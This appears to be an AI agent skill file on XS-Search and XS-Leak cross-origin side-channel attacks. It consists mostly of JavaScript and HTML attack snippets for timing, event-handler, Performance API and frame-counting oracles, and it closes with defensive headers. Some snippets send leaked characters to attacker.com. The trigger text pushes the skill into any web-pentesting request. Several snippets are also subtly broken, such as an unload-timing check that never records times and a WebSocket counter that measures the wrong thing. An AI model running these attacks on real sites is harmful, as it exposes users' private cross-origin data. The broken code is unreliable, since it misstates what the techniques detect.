| name | xs-search-leaks |
| description | Cross-origin information extraction using XS-Search and XS-Leak techniques. Use this skill when analyzing web applications for side-channel vulnerabilities, testing for information leakage through timing attacks, event handlers, performance APIs, or other browser-based leak techniques. Trigger when users mention XS-Search, XS-Leaks, cross-origin leaks, timing attacks, side-channel attacks, or need to extract information from cross-origin resources. Make sure to use this skill whenever the user is doing web pentesting and needs to extract cross-origin information, even if they don't explicitly mention XS-Search. |
XS-Search/XS-Leaks Skill
A comprehensive guide for extracting cross-origin information using side-channel vulnerabilities.
Quick Start
When you need to extract information from a cross-origin resource, follow this workflow:
- Identify the target - What information do you need to extract?
- Choose an inclusion method - How will you load the target resource?
- Select a leak technique - What observable difference can you measure?
- Execute and measure - Run the attack and analyze results
- Iterate - Refine based on what you learn
Core Concepts
Attack Components
| Component | Description |
|---|
| Vulnerable Web | Target website from which information is extracted |
| Attacker's Web | Malicious site hosting the exploit |
| Inclusion Method | Technique to incorporate target into attacker's page |
| Leak Technique | Method to discern state differences |
| States | Two conditions the attacker aims to distinguish |
| Detectable Differences | Observable variations used for inference |
Detectable Differences
- Status Code - HTTP response codes (2xx, 4xx, 5xx)
- API Usage - Whether specific Web APIs are used
- Redirects - Navigation to different pages
- Page Content - Response body variations, embedded frame counts, image sizes
- HTTP Headers - X-Frame-Options, Content-Disposition, CORP, etc.
- Timing - Time disparities between states
Inclusion Methods
HTML Elements
Use HTML elements for cross-origin resource inclusion:
<link rel="stylesheet" href="https://target.com/style.css">
<img src="https://target.com/image.png">
<script src="https://target.com/script.js"></script>
<audio src="https://target.com/audio.mp3"></audio>
<video src="https://target.com/video.mp4"></video>
See HTTPLeaks for a complete list of elements.
Frames
Embed HTML resources directly:
<iframe src="https://target.com/page.html"></iframe>
<iframe src="https://target.com/page.html" sandbox></iframe>
<object data="https://target.com/page.html"></object>
<embed src="https://target.com/page.html">
If the page lacks framing protection, access via contentWindow:
const iframe = document.querySelector('iframe');
const targetWindow = iframe.contentWindow;
Pop-ups
Open resources in new windows:
const popup = window.open('https://target.com/page.html');
if (popup && !popup.closed) {
}
Note: Modern browsers restrict pop-up creation to user actions.
JavaScript Requests
Direct requests with precise control:
fetch('https://target.com/resource', {
method: 'GET',
mode: 'no-cors',
redirect: 'manual'
});
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/resource');
xhr.send();
Leak Techniques
Event Handler Techniques
Onload/Onerror
Detect resource loading success or failure:
const script = document.createElement('script');
script.onload = () => console.log('Loaded successfully');
script.onerror = () => console.log('Failed to load');
script.src = 'https://target.com/resource.js';
document.head.appendChild(script);
const img = new Image();
img.onload = () => console.log('Image loaded');
img.onerror = () => console.log('Image failed');
img.src = 'https://target.com/image.png';
Script-less version:
<object data="https://target.com/404">
<object data="https://attacker.com/?error"></object>
</object>
If target returns 404, the nested object loads.
Onload Timing
Measure request duration:
const startTime = performance.now();
const img = new Image();
img.onload = () => {
const duration = performance.now() - startTime;
console.log(`Load time: ${duration}ms`);
};
img.src = 'https://target.com/resource.png';
Unload/Beforeunload Timing
Measure fetch duration using unload events:
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page.html';
let beforeUnloadTime, unloadTime;
iframe.onload = () => {
const duration = unloadTime - beforeUnloadTime;
console.log(`Fetch duration: ${duration}ms`);
};
document.body.appendChild(iframe);
#ID + Error + Onload
Extract information without timing by exploiting hash changes:
const iframe = document.createElement('iframe');
let onLoadCount = 0;
iframe.onload = () => {
onLoadCount++;
console.log(`Onload triggered ${onLoadCount} times`);
};
iframe.src = 'https://target.com/page.html#try1';
document.body.appendChild(iframe);
setTimeout(() => {
iframe.contentWindow.location.hash = '#try2';
}, 1000);
Global Limits Techniques
WebSocket API
Detect WebSocket connections by exhausting limits:
let exceptionCount = 0;
const maxWebSockets = 100;
for (let i = 0; i < maxWebSockets; i++) {
try {
new WebSocket('wss://attacker.com/socket');
} catch (e) {
exceptionCount++;
}
}
console.log(`Target uses ${exceptionCount} WebSocket connections`);
Payment API
Detect payment request usage:
async function checkPaymentAPI() {
try {
const payment = new PaymentRequest([]);
await payment.show();
payment.abort();
return false;
} catch (e) {
return true;
}
}
Event Loop Timing
Measure execution time via event loop delays:
const times = [];
const iterations = 100;
for (let i = 0; i < iterations; i++) {
const start = performance.now();
setTimeout(() => {
const end = performance.now();
times.push(end - start);
}, 0);
}
Performance API Techniques
Error Leak
Detect HTTP errors via missing performance entries:
function checkResourceStatus(url) {
const img = new Image();
img.src = url;
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
const found = entries.find(e => e.name.includes(url));
if (!found) {
console.log('Resource returned error (no performance entry)');
} else {
console.log('Resource loaded successfully');
}
}, 1000);
}
X-Frame Leak
Detect X-Frame-Options header:
function checkXFrameOptions(url) {
const iframe = document.createElement('iframe');
iframe.src = url;
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
const found = entries.find(e => e.name.includes(url));
if (!found) {
console.log('X-Frame-Options header present (blocked)');
} else {
console.log('No X-Frame-Options restriction');
}
}, 1000);
}
Redirect Detection
Detect redirects via performance API:
function detectRedirect(url) {
fetch(url, { redirect: 'manual' }).then(response => {
if (response.type === 'opaqueredirect') {
console.log('Redirect detected');
}
});
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
entries.forEach(entry => {
if (entry.redirectStart > 0) {
console.log('Redirect occurred, start time:', entry.redirectStart);
}
});
}, 1000);
}
Cache Detection
Check if resource is cached:
async function checkCache(url) {
const start = performance.now();
await fetch(url, { cache: 'default' });
const duration = performance.now() - start;
if (duration < 50) {
console.log('Resource likely cached');
} else {
console.log('Resource loaded from network');
}
}
Readable Attributes Techniques
Frame Counting
Count iframes to detect page state:
function countFrames(iframe) {
return iframe.contentWindow.length;
}
setInterval(() => {
const count = countFrames(iframe);
console.log(`Frame count: ${count}`);
}, 1000);
History Length
Detect navigation via history length:
const initialLength = history.length;
window.open('https://target.com/page.html');
setTimeout(() => {
const newLength = history.length;
if (newLength > initialLength) {
console.log('Navigation occurred');
}
}, 1000);
COOP Detection
Detect Cross-Origin Opener Policy:
const popup = window.open('https://target.com/page.html');
if (popup.opener === undefined) {
console.log('COOP header present');
} else {
console.log('No COOP restriction');
}
Media Dimensions
Extract media information:
const img = new Image();
img.src = 'https://target.com/image.png';
img.onload = () => {
console.log(`Image: ${img.width}x${img.height}`);
};
const video = document.createElement('video');
video.src = 'https://target.com/video.mp4';
video.onloadedmetadata = () => {
console.log(`Video: ${video.videoWidth}x${video.videoHeight}`);
console.log(`Duration: ${video.duration}s`);
};
Error Message Techniques
CORS Error
Extract redirect URLs from CORS errors:
fetch('https://target.com/redirect', {
mode: 'cors'
}).catch(error => {
console.log('CORS error:', error.message);
});
Media Error
Detect status codes via media errors:
const audio = document.createElement('audio');
audio.src = 'https://target.com/resource.mp3';
audio.onerror = () => {
const error = audio.error;
const message = error.message;
if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
message.includes('Failed to init decoder')) {
console.log('Resource loaded successfully (2xx)');
} else {
console.log('Resource failed to load');
}
};
Advanced Techniques
Connection Pool Timing
Exploit socket limits for timing attacks:
async function connectionPoolAttack(targetUrl) {
const socketLimit = 256;
const holdRequests = [];
for (let i = 0; i < socketLimit - 1; i++) {
holdRequests.push(
fetch(`https://hold-${i}.attacker.com/hold`, {
cache: 'no-store'
})
);
}
const targetStart = performance.now();
await fetch(targetUrl);
const targetDuration = performance.now() - targetStart;
const queueStart = performance.now();
await fetch('https://queue.attacker.com/release');
const queueDuration = performance.now() - queueStart;
console.log(`Target load time: ${targetDuration}ms`);
console.log(`Queue wait time: ${queueDuration}ms`);
}
CSS Property Leak
Detect styling changes:
function checkCSSProperty(url, selector, property) {
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = url;
document.head.appendChild(link);
setTimeout(() => {
const element = document.querySelector(selector);
if (element) {
const style = window.getComputedStyle(element);
const value = style.getPropertyValue(property);
console.log(`${property}: ${value}`);
}
}, 1000);
}
Image Lazy Loading Oracle
Exfiltrate content character by character:
function lazyLoadOracle(secretPrefix, charToTest) {
const junk = 'W'.repeat(10000);
const testString = secretPrefix + charToTest;
const html = `
<div style="height: 2000px">${junk}</div>
<img src="https://attacker.com/oracle?char=${charToTest}"
loading="lazy"
id="oracle-img">
<div>${testString}</div>
`;
}
Defense Recommendations
Server-Side Protections
-
Set proper headers:
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
-
Implement CORS correctly:
Access-Control-Allow-Origin: https://trusted-domain.com
# Never use * with credentials
-
Use CORP headers:
Cross-Origin-Resource-Policy: same-origin
Client-Side Protections
- Validate and sanitize all inputs
- Implement proper error handling (don't leak information in errors)
- Use Subresource Integrity (SRI) for external resources
- Implement rate limiting to prevent timing attacks
- Monitor for unusual request patterns
Testing Checklist
When testing for XS-Leaks:
References
Important Notes
- Browser behavior varies - Test across multiple browsers
- Timing attacks are noisy - Run multiple iterations and average results
- Modern browsers are improving - Some techniques may not work in latest versions
- Ethical use only - Only test systems you have authorization to assess
- Document findings - Record which techniques worked for future reference